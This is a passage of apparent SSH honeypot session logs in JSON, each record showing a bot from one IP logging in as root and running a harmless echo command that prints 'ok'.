  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:46:15.212608+00:00",
  "ended_at": "2026-08-23T08:46:17.406683+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4f7823fa-4c5b-490b-a0e9-000d1f810649",
  "name": "blazing-tidal-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58634,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:46:12.738819+00:00",
  "ended_at": "2026-08-23T08:46:14.521815+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4f28dd65-f03f-4613-906b-44fe297398f1",
  "name": "thorny-amber-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58630,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:46:10.042920+00:00",
  "ended_at": "2026-08-23T08:46:12.079636+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "735aba10-f3cf-45b4-8087-84ae4536599a",
  "name": "blithe-lonesome-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60624,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:46:08.067837+00:00",
  "ended_at": "2026-08-23T08:46:09.322934+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5e84631e-f129-4a3c-933f-545308842437",
  "name": "bitter-deft-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60612,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:46:05.210351+00:00",
  "ended_at": "2026-08-23T08:46:07.449479+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4c5a72b4-4b57-4cf2-9fdb-ea4e148e84a0",
  "name": "buoyant-stormy-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60602,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:46:02.712156+00:00",
  "ended_at": "2026-08-23T08:46:04.569817+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f41edd50-8e20-446b-bb8c-5aae23c4e618",
  "name": "golden-boreal-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 32946,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:57.001350+00:00",
  "ended_at": "2026-08-23T08:46:01.966069+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "009c93c8-ad9a-4764-be00-8e8536a59b1c",
  "name": "early-scarlet-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 32930,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:54.700047+00:00",
  "ended_at": "2026-08-23T08:45:56.259078+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8ff94191-5b75-4d82-912b-5cfbb7315953",
  "name": "restless-deft-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 32928,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:52.743907+00:00",
  "ended_at": "2026-08-23T08:45:53.974372+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "20f13559-d265-4bf8-b662-31a2d6671d41",
  "name": "sullen-sterling-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 32924,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:50.377154+00:00",
  "ended_at": "2026-08-23T08:45:51.926990+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "66dd135b-04ab-4c67-8adf-5c51bb3db07b",
  "name": "prickly-jolly-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45914,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:47.724236+00:00",
  "ended_at": "2026-08-23T08:45:49.662053+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "317d3f8a-816e-4ac0-b7ef-ee3dae975a68",
  "name": "freckled-glassy-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45896,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:45.138155+00:00",
  "ended_at": "2026-08-23T08:45:47.050832+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "48dc32b4-e057-477a-b221-b54c9294604c",
  "name": "fierce-rambling-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45866,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:42.947880+00:00",
  "ended_at": "2026-08-23T08:45:44.376382+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c59c4e8d-4473-4b76-8e0a-d19d2f3da5a9",
  "name": "gnarled-jolly-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45862,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:41.151073+00:00",
  "ended_at": "2026-08-23T08:45:42.202766+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5d3f4164-8857-42aa-9cfb-4a4faf669919",
  "name": "humble-misty-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45834,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:39.215003+00:00",
  "ended_at": "2026-08-23T08:45:40.486556+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "caeaf0c0-a88d-4d54-a072-6a45c8b1991f",
  "name": "smoky-silent-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58562,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:36.489402+00:00",
  "ended_at": "2026-08-23T08:45:38.391012+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "07f92035-8c92-49d1-ae36-b4543b9852fb",
  "name": "thawing-cobalt-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58552,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:33.443471+00:00",
  "ended_at": "2026-08-23T08:45:35.682561+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7bad821e-e191-40d3-9a7b-a185a55d22b8",
  "name": "lonesome-vigilant-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58540,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:31.291763+00:00",
  "ended_at": "2026-08-23T08:45:32.614621+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f1d7fe01-92bc-42fa-8c66-ed04654532fa",
  "name": "noble-whispering-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45074,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:28.704280+00:00",
  "ended_at": "2026-08-23T08:45:30.595745+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b22c3ba3-0ecb-4fb3-8f30-f34addebf767",
  "name": "prickly-courtly-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45066,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:25.799866+00:00",
  "ended_at": "2026-08-23T08:45:27.941027+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2d18992f-b3a7-45fe-8b76-c6c2daf274fd",
  "name": "watchful-hushed-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45050,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:23.950402+00:00",
  "ended_at": "2026-08-23T08:45:25.030700+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "555d4497-86df-4244-a638-9231f187bb8e",
  "name": "breezy-regal-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45046,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:21.665048+00:00",
  "ended_at": "2026-08-23T08:45:23.123351+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1342d937-0ce7-46f4-a5db-d2be9b307971",
  "name": "jagged-balmy-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45044,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:19.660120+00:00",
  "ended_at": "2026-08-23T08:45:20.907707+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1a9c4106-cdce-4915-8b34-f87e44cbc656",
  "name": "salty-marine-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51792,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:17.168477+00:00",
  "ended_at": "2026-08-23T08:45:18.871060+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3dc14e0e-2c09-417f-af82-2d33b3790519",
  "name": "breezy-coastal-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51788,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:15.086919+00:00",
  "ended_at": "2026-08-23T08:45:16.511809+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "79b4ee53-a7ca-431f-8917-9be01b7fc85f",
  "name": "patient-sleepy-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51774,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:13.248110+00:00",
  "ended_at": "2026-08-23T08:45:14.423893+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7f69f772-f889-4564-ba46-1042392d1b2c",
  "name": "clever-alpine-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51770,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:11.418927+00:00",
  "ended_at": "2026-08-23T08:45:12.405429+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2961fd92-48e0-4165-984b-fa6af462ca62",
  "name": "kindly-zealous-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56330,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:08.696631+00:00",
  "ended_at": "2026-08-23T08:45:10.727162+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bab3a857-7161-46db-b361-1cfb12086173",
  "name": "humble-fierce-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56314,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:06.089146+00:00",
  "ended_at": "2026-08-23T08:45:07.931102+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "79d09c61-7a9e-4f87-8b59-3fbc71e1c2cc",
  "name": "autumn-downy-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56300,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:04.457212+00:00",
  "ended_at": "2026-08-23T08:45:05.444094+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c027266d-a6f8-42ae-a06a-6c3c6efc2a5c",
  "name": "fearless-sincere-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56286,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:45:01.530340+00:00",
  "ended_at": "2026-08-23T08:45:03.664747+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b4512fef-5a1d-4336-a372-8f2eeab35ff0",
  "name": "dutiful-dusty-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56280,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:44:59.636146+00:00",
  "ended_at": "2026-08-23T08:45:00.873797+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a92a6ebe-1a2d-4b15-98c2-2b1731cb7519",
  "name": "ginger-ashen-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44396,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:44:57.295925+00:00",
  "ended_at": "2026-08-23T08:44:58.896679+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "47b0c00c-0d84-4d3f-8502-84d53d2ed51d",
  "name": "oaken-gnarled-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44388,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:44:54.311196+00:00",
  "ended_at": "2026-08-23T08:44:56.493882+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5a64876c-77e9-43d5-8b7e-6ce88b6446e5",
  "name": "feral-cheerful-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44376,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:44:52.586385+00:00",
  "ended_at": "2026-08-23T08:44:53.528744+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6a533f14-16bc-4f1a-833d-99bb6d9eee54",
  "name": "vaulted-subtle-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44364,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:44:50.694693+00:00",
  "ended_at": "2026-08-23T08:44:51.773969+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "771859c3-0ff2-406b-ab7e-41aafb1ccddb",
  "name": "shifting-thorny-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59424,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:44:48.220013+00:00",
  "ended_at": "2026-08-23T08:44:49.901969+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3306caf7-7ff0-47ab-84fb-f8e402e64790",
  "name": "dusty-hushed-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59410,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:44:45.424259+00:00",
  "ended_at": "2026-08-23T08:44:47.564561+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "42d38f7f-2463-4b83-8821-23364f0934b9",
  "name": "slender-marine-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59400,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:44:42.458325+00:00",
  "ended_at": "2026-08-23T08:44:44.728331+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d34b8934-f209-44c8-a2a4-60d7aab59e7c",
  "name": "primal-gilded-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59386,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:44:39.824648+00:00",
  "ended_at": "2026-08-23T08:44:41.786803+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "da0391aa-d168-4753-8124-e56fab6b6783",
  "name": "zealous-lawful-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41038,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:44:37.491182+00:00",
  "ended_at": "2026-08-23T08:44:39.060681+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "185fd3a5-ffcb-4175-8c70-6b4aefd79db8",
  "name": "russet-thorny-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41028,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:44:34.997101+00:00",
  "ended_at": "2026-08-23T08:44:36.688361+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3e90593b-c2ff-4ba3-97ad-c7949b8ef3ca",
  "name": "keen-jolly-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41014,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:44:33.063199+00:00",
  "ended_at": "2026-08-23T08:44:34.170887+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "52bdd600-ebfa-4449-9a66-457388c10c9c",
  "name": "windswept-sincere-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41012,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:44:30.935186+00:00",
  "ended_at": "2026-08-23T08:44:32.239893+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f986192e-9ca0-444e-859a-009741346a29",
  "name": "hollow-primal-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41006,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:44:29.220314+00:00",
  "ended_at": "2026-08-23T08:44:30.200641+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ac063ca1-8a9c-4198-b854-0144fb1029b2",
  "name": "tranquil-brisk-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40780,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:44:27.050223+00:00",
  "ended_at": "2026-08-23T08:44:28.592937+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "743771f0-6af3-4b8a-ab53-d9a8306e8145",
  "name": "oaken-frugal-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40772,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:44:24.232792+00:00",
  "ended_at": "2026-08-23T08:44:26.351516+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0c1e16b9-707c-43cc-87ca-2755b81d7516",
  "name": "noble-hazy-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40762,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:44:21.245689+00:00",
  "ended_at": "2026-08-23T08:44:23.510263+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b2415d3a-b5b2-4e3a-9a15-2d285c5ea75d",
  "name": "calm-quaint-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40758,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:44:19.451122+00:00",
  "ended_at": "2026-08-23T08:44:20.471523+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6a41d820-5e68-418f-b5f4-20354141580c",
  "name": "cosmic-gleaming-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57664,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
